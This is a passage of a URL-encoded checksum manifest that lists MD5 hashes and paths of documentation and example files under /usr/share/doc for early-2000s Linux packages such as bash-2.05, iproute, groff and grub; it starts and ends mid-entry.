%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fdirname%0A7821ec52e5340a06e112d34421a6e66f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Femptydir%0A0a98830263fa724251ae5cb8eee552d0%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fexitstat%0A8081bb6e1ca28b95529b0290e78c8dcc%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fexternal%0A48d6c6666fc3dae143fafa264ef3ea17%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Ffact%0Ac8e834a42c97bbbe48c24f277ca35477%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Ffstty%0A807602c46c832ea3b49511f760880ad8%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Ffunc%0A607313ba1c9379368052131129a8c1d8%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fgethtml%0Ab3c97d83661b82e8de7b8884a547bc41%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fksh-compat-test%0Ab917df0c0553796de0d55a4e499b3d14%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Finetaddr%0Ab73ebed3a79a0b53ac799609a0bb93d7%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Finpath%0A67a45bee8da8a913502aa53387096e9d%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fisnum.bash%0A46e87d6e4445d20d556d795a9b90c0f8%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fisnum2%0A48d16cc44d8d16c5061489689305d5db%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fjdate.bash%0A99a7c171494a3a785a9ab209c3f855c2%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fjj.bash%0Ae64db70bfa4d377f09cbca4517329b86%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fkeep%0A6f3232255957d5a983de50089dddc6be%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fksh-cd%0Af5fd116d8e7b3137346d46a5dc9ba464%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Flowercase%0A6a62da926d03ccff95bff8c63f0e2f88%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fkshenv%0A76c6f826cf49808988a1bb4660a55482%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Flogin%0A48953d1297f8e8b465041e2ce2f090f8%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fnotify.bash%0A92188787b4f45f32f946176b387c4f9a%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fmanpage%0A7e003683ca4bf40776c5aab3a0b86869%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fmhfold%0A48edd1660bc8d34290b7773a7f724952%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fsort-pos-params%0Adcbb5fed409f05e6ef9511bebab32ba2%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fpathfuncs%0Ad8b286c8144ed18280d9626bfaac3b09%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Frecurse%0A862b102bc094e8d29bc6928c578ac86e%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Frepeat2%0A8c73b75c27f38e482d721e35268dd189%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Frepeat3%0Af539ea9d6862b80cf0b0a88fe2008e1b%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fseq%0A914302df27bd4b4c66ea52945123ab35%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fseq2%0Ab66d2256006f8176af5f7fc97c61af78%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fshcat%0A66891139570c7d7f9f52243c880f23da%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fshcat2%0A01e086b3a4cb81d23e1415ddefee3113%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fxalias.bash%0A8f692372147c47a8086a65cd35c26771%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fsubstr%0A50ea5147c5a96d1ed1901644b5e81016%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fsubstr2%0A75945f7bb6c6123c084fdf51f225e42a%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fterm%0A6fb9f8f2f0907dc5ebb894dee5d45b8d%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fwhatis%0A41cc942d4c00a273051a1d9ac17cb88b%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fwhence%0A2931401df0dde8397cfb4682febbf4f6%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fwhich%0A83a78ecd6531864796abc59083097c6b%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Ffunctions%2Fxfind.bash%0Af545f5e83947aff9e67752455b0d051f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fadventure.sh%0A6b90b176a644b2b7f7a2fa6e0a27163e%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fbcsh.sh%0Acb6e1f74c012fef756a47b4941687d81%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fcat.sh%0A00d67a9fb86bfcab124d18fab2bafd3a%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fcenter%0A5822f8b9c22e2b13e81aceabe452ed2d%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fdd-ex.sh%0Ab3a27d96b60f278d9d19b45d322890b4%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Ffixfiles.bash%0A9395d1c6412d3c5079d6f8862b589ea0%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fhanoi.bash%0A04f21afef7e45b5992f4c89044887872%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Finpath%0A8a05ad1f664ca018b48a9b834091f49e%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fkrand.bash%0A40f0c69daaa4257d72b8898637f094a2%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fline-input.bash%0Af6810c52c13c3e79fd727be51b3f58da%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fnohup.bash%0A48f2166789fc68b8662e41f14247324d%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fprecedence%0A649447f51e113d45808fac5f3160d9a3%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Frandomcard.bash%0A2ad19ab2f5d97b3736a1d9d6770d456f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fscrollbar%0A632cff505c4b1a3aa22e720454ae40e2%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fscrollbar2%0A825ad976925d5ceca19fafa92c896747%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fshowperm.bash%0Aba4033fbc41a0ec2749d8ed5858d9a02%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fshprompt%0Aa4d0ca7a864544ef339ccd12c8a1b8fd%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fspin.bash%0Ae0a620c36512fc8d3765b124b61ff289%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Ftimeout%0A7311c5bc81c1ee341ef5a19cb4c8ae2c%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fvtree2%0Ab0e5f7610c852d938af6278ffd7a88eb%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fvtree3%0Ad5a1168d6c9d3806c6cf68f4150f4f65%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fvtree3a%0A7ab6bb4441704111a279f25be826365c%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fwebsrv.sh%0A61accef410142c27b354e796631b82d1%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fxterm_title%0A3ee9a7e72253741ad53719838194672d%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts%2Fzprintf%0A4d54dcddea5b7e6709dd8012f913e60f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fbash.sub.bash%0A50b0fbd6e5f6c0754255ed25c83ae509%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2FPERMISSION%0A88422338a0a18d4fe68044856b3f27e7%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2FREADME%0Accffbad16329f601115ed567efd055f5%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Faref.bash%0A4c496bf1df0808400b8ba5a882a70928%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fbash_version.bash%0A73af950b6821c381e221899fc765b6a2%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fmeta.bash%0A97df87ec42ab09709f516a0ba54a4ab7%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fmktmp.bash%0A57ee9f0281f9c6f48ba8ed6af0f63a1f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fnumber.bash%0A5d66c972bb876194a1eb94db82ce6285%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fprompt.bash%0A6ebcd82b4546c7d29f52c5838036acf3%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fremap_keys.bash%0A479c830a502a6285e1c67ec21b95e623%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Frequire.bash%0Ae83849b261c9f19575919225c1db32ab%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fsend_mail.bash%0A6ab1a61e02ec70445a5fa49a8388eeac%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fshcat.bash%0A1702668fc3157cf5b72fe18ff8c53398%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fsource.bash%0A57392dd1cbcff5dce5de303c0d332a1e%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fstring.bash%0A3937e5a6ea07916819d67cf7db47e26c%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fstty.bash%0Aef294e73b922b518053760461b2ab501%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.noah%2Fy_or_n_p.bash%0Abe41ef824b8a9eb7978659c5e088b104%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fcal2day.bash%0Aca05bb0716f7acd5871cdb8c2ae6f752%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2FPERMISSION%0A0c58f71766ea5b0aedb567e4f7ea588a%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2FREADME%0A2a052bba4c825b408faf58b23900a3bc%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Farc2tarz%0A1011b9cd871013290ad87479cfa818ad%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fbashrand%0Af0f2c7f34ac6d96d180e2e0bd7893f58%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fcdhist.bash%0Adde727331628db83cead03cbc89e1a83%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fcorename%0A80b2b6ab0e0c48610c4769c753b52004%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Ffman%0A58289bd7d1d02043549dedd65c030f3f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Ffrcp%0A598cce77d991ca2a3a11d0503ea85e42%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Flowercase%0A6e017a4970c85a23407c11b836ecd8a1%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fncp%0Ae6b92778fb63235d300eb74639847305%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fnewext%0A6e017a4970c85a23407c11b836ecd8a1%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fnmv%0Afc406d8dc0a0e9357b5ae013f83dca5e%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fpages%0A6fc4150f0641a179fb872d4425833f1a%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fpf%0Ab2d613cee17e6f3cb0383cdab3fe9a30%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fpmtop%0A1fcfcd7acd1a9fad4fc4ff17770646a7%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Frename%0A6f34b99d5fdff8d20cd35bd007953496%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Frepeat%0A4b9d2fab56ab2420b4cec4f1197044e9%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fshprof%0A72dd83d9a53386cbd30ec28bd1797f31%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Funtar%0Abce826d4985ff59b0f6fd93d25f34bce%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fuudec%0A103e9b30fa23550902c73db4ec96c028%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fuuenc%0A51fea925116c87bab4bbf28ee138aa34%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fvtree%0A55175e35462b163bc27dc080320bf738%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fscripts.v2%2Fwhere%0Ae5fc110561063a7e5103c99b8edcaf19%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fapple%2Fbash.defaults%0Ac92aa5474a29e71d2da761a409518510%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fapple%2FREADME%0A110b20f35da8e5f7faf9e9008e3495de%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fapple%2Faliases%0A06cdb2260ebd090de0775081801c595f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fapple%2Fenvironment%0A415ea73bc6943e873fd5dcce34e8d2c4%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fapple%2Flogin%0A79455fc83bdba1c962f27050a677194e%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fapple%2Flogout%0A5845a6d63a90157b5dff966971d92c39%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fapple%2Frc%0A9e44323492b53d3077947d669b08660f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fbashrc%0Adfd390d9795b66bf9638e4372e72be95%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2FBash_aliases%0Ad0fc580a63d260f91f2fe6b6d1f1a5c1%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2FBash_profile%0A3cc42a98baae32de6535fa8e8c5cd9ae%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2FBashrc.bfox%0A999e3f87ec82ace545a5b2b992bcf78f%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2FREADME%0Aff32d792be486576f9a62606c762d331%20%20%2Fusr%2Fshare%2Fdoc%2Fbash-2.05%2Fstartup-files%2Fbash-profile%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fusr%2Fshare%2Fdoc%2Fbzip2-1.0.1%2FChangeLog%0Aec61b6151b9668f24efc2d1bd2b80120%20%20%2Fusr%2Fshare%2Fdoc%2Fbzip2-1.0.1%2FAUTHORS%0Acf0795265d667251a6b4ff42d9fd57aa%20%20%2Fusr%2Fshare%2Fdoc%2Fbzip2-1.0.1%2FCOPYING%0A04febf2e0a925004cc4a599c6af6f285%20%20%2Fusr%2Fshare%2Fdoc%2Fbzip2-1.0.1%2FY2K_INFO%0Ace3c35d2be065a75e97e5ab7686af055%20%20%2Fusr%2Fshare%2Fdoc%2Fbzip2-1.0.1%2FNEWS%0A523a3c79f3c8eef47af84c39eb6bddde%20%20%2Fusr%2Fshare%2Fdoc%2Fbzip2-1.0.1%2FREADME%0Acafa087ee225e4b0278ae6e1d9a9eaeb%20%20%2Fusr%2Fshare%2Fdoc%2Fbzip2-1.0.1%2FREADME.COMPILATION.PROBLEMS%0Ae943c96cc6ffcd8b3c1af458cf428391%20%20%2Fusr%2Fshare%2Fdoc%2Fhotplug-2001_04_24%2FChangeLog%0A2c898f5c42f0ccc0ed7de100b50826c2%20%20%2Fusr%2Fshare%2Fdoc%2Fhotplug-2001_04_24%2FREADME%0Ab4a77c150c2070a02737879a9f145290%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2FREADME.iproute2%2Btc%0Ac0da5a075c6b6b0292f9a88620d54eb8%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2FREADME.decnet%0Ae786f42f93a9248bef486a22e5ce25f4%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2FEdge31-ca-u32%0Aba01092a5db641cf6159a0be47cf240b%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2FEdge1%0Aa47c929819e1e5dd283ea7b7ac371a73%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2FEdge2%0Afb4757f77a5fa21a2efb854177456c4b%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2FEdge31-cb-chains%0A05b752a51fcb2a8f355e412b476effc5%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2FEdge32-ca-u32%0Aa0dda8c7a577209344c178fc775f5d57%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2FEdge32-cb-chains%0Afadf94e29a78b1c18edcf1dd465270cd%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2FEdge32-cb-u32%0A3d489cd2a72c51ac47dac06cae45ae9a%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2FREADME%0A31234852109d851177cfd9d8f59a258e%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2Fafcbq%0Ac53b67b3afa4af57d50edccbaff8af87%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2Fef-prio%0A1687f43e530a8d3ff71d4c878c1dd10a%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2Fefcbq%0Acba55a4d0f9cd09fbc53b9efcf8d069d%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdiffserv%2Fregression-testing%0A7fba09df336fccaa9f0062c749e7e579%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2FSYN-DoS.rate.limit%0A8edbaabf40b9ce5a8dc467e64ed341a5%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fcbqinit.eth1%0Aa7d1a8a42eaffe1d8192ff9d3a08f158%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fexamples%2Fdhcp-client-script%0A472f2d41772a9609ce38bf323dff2ef0%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2FRELNOTES%0A012971ffa7977e74140861cbcaa7cef7%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fapi-ip6-flowlabels.ps%0A4b29daf845761ab42630a5a49f278bcb%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fip-cref.ps%0A32ed6ebe6b2d1985aeeab6c612d67f55%20%20%2Fusr%2Fshare%2Fdoc%2Fiproute-2.2.4%2Fip-tunnels.ps%0Ae9211aac439364abaf677426755cc089%20%20%2Fusr%2Fshare%2Fdoc%2Fgroff-1.17.2%2FBUG-REPORT%0Af4faa663dbcfa15aee28e78c52255845%20%20%2Fusr%2Fshare%2Fdoc%2Fgroff-1.17.2%2FNEWS%0A67137f12da3d5ad7167e9f3c0ca7f477%20%20%2Fusr%2Fshare%2Fdoc%2Fgroff-1.17.2%2FPROBLEMS%0Ac1f27d98cad3838b827d6bf0b98d8113%20%20%2Fusr%2Fshare%2Fdoc%2Fgroff-1.17.2%2FREADME%0Aee081049e0ced21ea082f4a24760043b%20%20%2Fusr%2Fshare%2Fdoc%2Fgroff-1.17.2%2FREADME.A4%0A52872ef95d5ee0e04c6320421839a314%20%20%2Fusr%2Fshare%2Fdoc%2Fgroff-1.17.2%2FTODO%0A2e611abe4ff808197feb9cfaf143b25a%20%20%2Fusr%2Fshare%2Fdoc%2Fgroff-1.17.2%2FVERSION%0A5f5728c4e3c8d3d75a5951a77a0b6a1f%20%20%2Fusr%2Fshare%2Fdoc%2Flogrotate-3.5.9%2FCHANGES%0Af46b4543fec4465e39a7709c6aaddcd1%20%20%2Fusr%2Fshare%2Fdoc%2FMAKEDEV-3.2%2Fdevices.txt%0A94d55d512a9ba36caa9b7df079bae19f%20%20%2Fusr%2Fshare%2Fdoc%2FMAKEDEV-3.2%2FCOPYING%0A44fc8762e9018fe0559396962bd0a8e8%20%20%2Fusr%2Fshare%2Fdoc%2Fncurses-5.2%2Fannounce.html%0A05d1e3ab7196b000b267667d1698e6a9%20%20%2Fusr%2Fshare%2Fdoc%2Fncurses-5.2%2FANNOUNCE%0A10acc6f607bd99f8be29979541eb7a93%20%20%2Fusr%2Fshare%2Fdoc%2Fncurses-5.2%2FREADME%0Aae86647d9359310952a80328a568f634%20%20%2Fusr%2Fshare%2Fdoc%2Fcpio-2.4.2%2FNEWS%0Ae4a691c471b4d5ec4be1962ef901aa44%20%20%2Fusr%2Fshare%2Fdoc%2Fcpio-2.4.2%2FREADME%0Ac66407f935918e73e5066216454b9674%20%20%2Fusr%2Fshare%2Fdoc%2Fdiffutils-2.7.2%2FNEWS%0Ae50c12c3335dda6d5e1d647f416db609%20%20%2Fusr%2Fshare%2Fdoc%2Fdiffutils-2.7.2%2FREADME%0A88815b56bb59cdb811a322c7ace4734e%20%20%2Fusr%2Fshare%2Fdoc%2Fed-0.2%2FNEWS%0A1f967afc87d1b01a8b8d87cdd1d59447%20%20%2Fusr%2Fshare%2Fdoc%2Fed-0.2%2FPOSIX%0A79c937c9894feaa1a3a6c79ed8dc74f4%20%20%2Fusr%2Fshare%2Fdoc%2Fed-0.2%2FREADME%0A114b15eae9c974bd9d71e560387e40ea%20%20%2Fusr%2Fshare%2Fdoc%2Fed-0.2%2FTHANKS%0Aef11564ccd2881c65a06c9b0d6f7deec%20%20%2Fusr%2Fshare%2Fdoc%2Ffileutils-4.1%2FABOUT-NLS%0Ad41d8cd98f00b204e9800998ecf8427e%20%20%2Fusr%2Fshare%2Fdoc%2Ffileutils-4.1%2FAUTHORS%0A94d55d512a9ba36caa9b7df079bae19f%20%20%2Fusr%2Fshare%2Fdoc%2Ffileutils-4.1%2FCOPYING%0Aa10b3c4caf704d3f3d4a4fd90e6c4dce%20%20%2Fusr%2Fshare%2Fdoc%2Ffileutils-4.1%2FChangeLog%0A1b6d34557c488e1abf8db2bbd9603e62%20%20%2Fusr%2Fshare%2Fdoc%2Ffileutils-4.1%2FNEWS%0A793580a324000da80d919f673946008e%20%20%2Fusr%2Fshare%2Fdoc%2Ffileutils-4.1%2FREADME%0A2320f09ebefaceb31e14dc3e68fa8041%20%20%2Fusr%2Fshare%2Fdoc%2Ffileutils-4.1%2FTHANKS%0Afc5d8370c376bd188e451bd18b8f8ce8%20%20%2Fusr%2Fshare%2Fdoc%2Ffileutils-4.1%2FTODO%0A833deac8fcb179568773fa8a3a3cd770%20%20%2Fusr%2Fshare%2Fdoc%2Fat-3.1.8%2FChangeLog%0Aab71b069efb87d2c69ecbe79f05cc1ae%20%20%2Fusr%2Fshare%2Fdoc%2Fat-3.1.8%2FCopyright%0A38c61cea8340b1d2191535464235fd6a%20%20%2Fusr%2Fshare%2Fdoc%2Fat-3.1.8%2FProblems%0A51d8d3a6bb43b461ec5be50e18d2c0cd%20%20%2Fusr%2Fshare%2Fdoc%2Fat-3.1.8%2FREADME%0A835427650f96c79d38687fd5c33a45bd%20%20%2Fusr%2Fshare%2Fdoc%2Fat-3.1.8%2Ftimespec%0A3aeb968184f52c4d40d246bc7f578e33%20%20%2Fusr%2Fshare%2Fdoc%2Ffindutils-4.1.7%2FNEWS%0A9971ece846d47b4bb66f872d17a67c89%20%20%2Fusr%2Fshare%2Fdoc%2Ffindutils-4.1.7%2FREADME%0A80af0fffd8b833d3bec84ba6726d1bd5%20%20%2Fusr%2Fshare%2Fdoc%2Fgawk-3.1.0%2FLIMITATIONS%0A94d55d512a9ba36caa9b7df079bae19f%20%20%2Fusr%2Fshare%2Fdoc%2Fgawk-3.1.0%2FCOPYING%0A0187273b74704c78282ecbf10ad0b969%20%20%2Fusr%2Fshare%2Fdoc%2Fgawk-3.1.0%2FFUTURES%0A29344ac65ace9c9223d96056bd1fa33c%20%20%2Fusr%2Fshare%2Fdoc%2Fgawk-3.1.0%2FINSTALL%0A4810aba4bbe6f7eba395aa75af02e78a%20%20%2Fusr%2Fshare%2Fdoc%2Fgawk-3.1.0%2FNEWS%0A2eceb9342170bfb320eac57efda01e0d%20%20%2Fusr%2Fshare%2Fdoc%2Fgawk-3.1.0%2FREADME%0Aef11564ccd2881c65a06c9b0d6f7deec%20%20%2Fusr%2Fshare%2Fdoc%2Fgrep-2.4.2%2FABOUT-NLS%0Aa7d37973e4bc7240ccb3e59fecbd4e9a%20%20%2Fusr%2Fshare%2Fdoc%2Fgrep-2.4.2%2FAUTHORS%0A5622020ad185626496d89d77471faa24%20%20%2Fusr%2Fshare%2Fdoc%2Fgrep-2.4.2%2FChangeLog%0A8ff1f204283026233facba295b41f487%20%20%2Fusr%2Fshare%2Fdoc%2Fgrep-2.4.2%2FNEWS%0A4d3f356f682d0a25c17826d96404a869%20%20%2Fusr%2Fshare%2Fdoc%2Fgrep-2.4.2%2FREADME%0A5e9732b204e42ddfee30045422b7cec8%20%20%2Fusr%2Fshare%2Fdoc%2Fgrep-2.4.2%2FTHANKS%0Ab6df9624f15c665f7e65715f48d6442a%20%20%2Fusr%2Fshare%2Fdoc%2Fgrep-2.4.2%2FTODO%0A1cc660a10676cdcdd88719e7c08d4861%20%20%2Fusr%2Fshare%2Fdoc%2Fdhcpcd-1.3.18pl8%2Fdhcpcd-eth0.exe%0A348fd91fbdc379eb1978e09fab510539%20%20%2Fusr%2Fshare%2Fdoc%2Fdhcpcd-1.3.18pl8%2FREADME%0A3b8725ba84bfde5d249b33d9c35b6469%20%20%2Fusr%2Fshare%2Fdoc%2Fgrub-0.90%2FChangeLog%0A27be01169ea60dc4a67d40dbe9772ce8%20%20%2Fusr%2Fshare%2Fdoc%2Fgrub-0.90%2FAUTHORS%0Ac93c0550bd3173f4504b2cbd8991e50b%20%20%2Fusr%2Fshare%2Fdoc%2Fgrub-0.90%2FCOPYING%0A23fb67f682b89b265f39f93192274b04%20%20%2Fusr%2Fshare%2Fdoc%2Fgrub-0.90%2Fmenu.lst%0A2447bb5670ed026d6d5e3af0a622802e%20%20%2Fusr%2Fshare%2Fdoc%2Fgrub-0.90%2FNEWS%0A4b9202cb071e608a1dbfb985d8296650%20%20%2Fusr%2Fshare%2Fdoc%2F